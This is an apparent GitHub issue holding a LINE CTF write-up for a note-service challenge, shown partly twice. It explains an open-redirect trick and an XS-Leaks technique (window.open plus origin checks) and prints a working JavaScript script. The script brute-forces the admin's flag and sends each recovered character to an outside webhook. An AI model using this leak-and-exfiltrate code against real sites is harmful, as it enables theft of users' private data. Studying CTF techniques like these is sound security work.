You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
BASE_URL is something like http://35.200.11.35. If we pass ?redirect=.abc.com, it redirects to http://35.200.11.35.abc.com/.
It's troublesome to create a domain record, actually we can leverage username:password as well like http://35.200.11.35/login?redirect=:[email protected], redirects to http://35.200.11.35:[email protected].
So now we can redirect the admin bot to our own domain. I think I will need it at some point to run arbitrary JavaScript.
After playing around for a while I noticed that there is a search and download feature:
The idea is quite simple, if LINECTF{d exists, it triggers file download so window will be closed, otherwise open a new tab. It works for normal browser but not headless Chrome. For headless Chrome it always failed.
Another idea came to my mind is iframe + download link:
We can embed above page as iframe and check if we can access iframe.contentWindow.document. if we can't it means the download has been triggered and the flag exists.
Then it fails again because of Chrome's default SameSite=Lax I guess.
Finally I gave up on thinking the solution myself, I checked XS-Leaks wiki and find the useful way I need: window.open + win.origin:
If window is successfully opened without downloading the file, access window.origin will throw an error, otherwise it's fine.
After confirmed that it works on my local I quickly wrote a simple script to brute-forcing the flag.
<!DOCTYPEhtml><html><head></head><body><script>
var flag = 'LINECTF{'
varstr='abcdefghijklmnopqrstuvwxyz0123456789-}'varwins=[]functionrun(){for(leti=0;i<str.length;i++){wins[i]=window.open(`http://34.84.72.167/search?q=${encodeURIComponent(flag+str[i])}&download=`)}setTimeout(()=>{for(leti=0;i<str.length;i++){try{console.log(wins[i].origin,str[i])flag+=str[i]fetch('webhook_url?flag='+flag,{mode: 'no-cors'}).then().catch()if(str[i]!=='}'){run()}break;}catch(err){}}},2000)}run()</script>
</body></html>
I expected that I need to send it a few times to get the whole flag. It works well at first but returns weird result in the end like LINECTF{1-kn0w-oaaaa}
After keep trying for a while I realized it's a bug in my program which lead to false positive result. I think it's because I forgot to close the window! So after running for a while there are too many windows and it takes more time to load.
To get updates about the progress I added few fetch for the report. And this time I remember to close the window.
It works well and get the whole flag by send it to admin bot twice.
Footnote
We don't even need open redirect for this challenge because if you send the url for downloading, headless chrome will crash and throw an exception:
Error: net::ERR_ABORTED at http://35.200.11.35/search?q=LINECTF{&download=
at navigate (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:115:23)
at processTicksAndRejections (internal/process/task_queues.js:97:5)
at async FrameManager.navigateFrame (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:90:21)
at async Frame.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/FrameManager.js:416:16)
at async Page.goto (/Users/huli/Documents/security/ctf/line/note/node_modules/puppeteer/lib/cjs/puppeteer/common/Page.js:789:16)
The crawler returns ng for exception, so by checking the return message we can get the flag as well.
Your Note
Description
Secure private note service
※ Admin have disabled some security feature of their browser...
Flag Format: LINECTF{[a-z0-9-]+}
source code:
crawler
Writeup
At first I thought we need to do XSS to steal admin's note and get the flag. But I find nowhere to perform XSS and doubt if it's posssible.
After quickly checking the source code I found a open redirect vulnerability:
BASE_URL
is something likehttp://35.200.11.35
. If we pass?redirect=.abc.com
, it redirects tohttp://35.200.11.35.abc.com/
.It's troublesome to create a domain record, actually we can leverage
username:password
as well likehttp://35.200.11.35/login?redirect=:[email protected]
, redirects tohttp://35.200.11.35:[email protected]
.So now we can redirect the admin bot to our own domain. I think I will need it at some point to run arbitrary JavaScript.
After playing around for a while I noticed that there is a search and download feature:
We can send a query string
q
to filter the notes and download the result as json file if exists. If there is no such note, nothing happens.I think we can use this to brute-force the flag so I tried few ways.
The first approach I tried is
window.open
andwindow.closed
:The idea is quite simple, if
LINECTF{d
exists, it triggers file download so window will be closed, otherwise open a new tab. It works for normal browser but not headless Chrome. For headless Chrome it always failed.Another idea came to my mind is iframe + download link:
We can embed above page as iframe and check if we can access
iframe.contentWindow.document
. if we can't it means the download has been triggered and the flag exists.Then it fails again because of Chrome's default SameSite=Lax I guess.
Finally I gave up on thinking the solution myself, I checked XS-Leaks wiki and find the useful way I need:
window.open
+win.origin
:If window is successfully opened without downloading the file, access
window.origin
will throw an error, otherwise it's fine.After confirmed that it works on my local I quickly wrote a simple script to brute-forcing the flag.
I expected that I need to send it a few times to get the whole flag. It works well at first but returns weird result in the end like
LINECTF{1-kn0w-oaaaa}
After keep trying for a while I realized it's a bug in my program which lead to false positive result. I think it's because I forgot to close the window! So after running for a while there are too many windows and it takes more time to load.
So I changed my program to something like this:
To get updates about the progress I added few
fetch
for the report. And this time I remember to close the window.It works well and get the whole flag by send it to admin bot twice.
Footnote
We don't even need open redirect for this challenge because if you send the url for downloading, headless chrome will crash and throw an exception:
The crawler returns
ng
for exception, so by checking the return message we can get the flag as well.I don't know this until I see the writeup by s1r1us.
The text was updated successfully, but these errors were encountered: